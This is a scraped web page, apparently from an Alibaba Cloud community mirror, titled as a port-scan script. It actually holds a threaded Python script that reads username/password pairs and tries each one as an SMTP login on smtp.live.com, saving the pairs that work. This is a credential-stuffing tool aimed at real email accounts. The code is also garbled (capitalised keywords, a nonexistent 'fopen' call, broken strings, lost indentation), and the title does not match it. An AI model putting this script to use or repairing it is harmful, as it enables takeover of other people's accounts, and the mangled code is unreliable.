Python Scan script Port customization

Source: Internet
Author: User

#-*-Coding:utf-8-*-
Import Smtplib
Import Sys
Import time
Import threading

Class Mythread (threading. Thread):
def __init__ (SELF,USERNAME,PWD):
Threading. Thread.__init__ (self)
Self.username=username
Self.pwd=pwd

def run (self):
Try
Server= ' smtp.live.com '
Fp=fopen (Self.username)
Fp1=open (Self.pwd, ' W ')
Except Exception:
Print (' Files fopen Error ')

For line in Fp.readlines ():
Lines=line.split (")
Uname=lines[0]
PASSWORD=LINES[1]
Password=password.split (' \ n ') [0]
Smtp=smtplib. SMTP (server,587)
Try
Smtp.ehlo ()
Smtp.starttls ()
Smtp.ehlo ()

#smtp. Login.ssl (Uname,password) enable SSL Plus

Smtp.login (Uname,password)
Except Exception:
Print (' [-]:%s:%s '% (Uname,password))
Time.sleep (1)

Else
Out= ' [+]:%s:%s '% (Uname,password)
Print (out)
Fp1.write (out)
Fp1.flush ()

If __name__== ' __main__ ':
Mythread (Sys.argv[1],sys.argv[2]). Start ()



Python Scan script Port customization

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.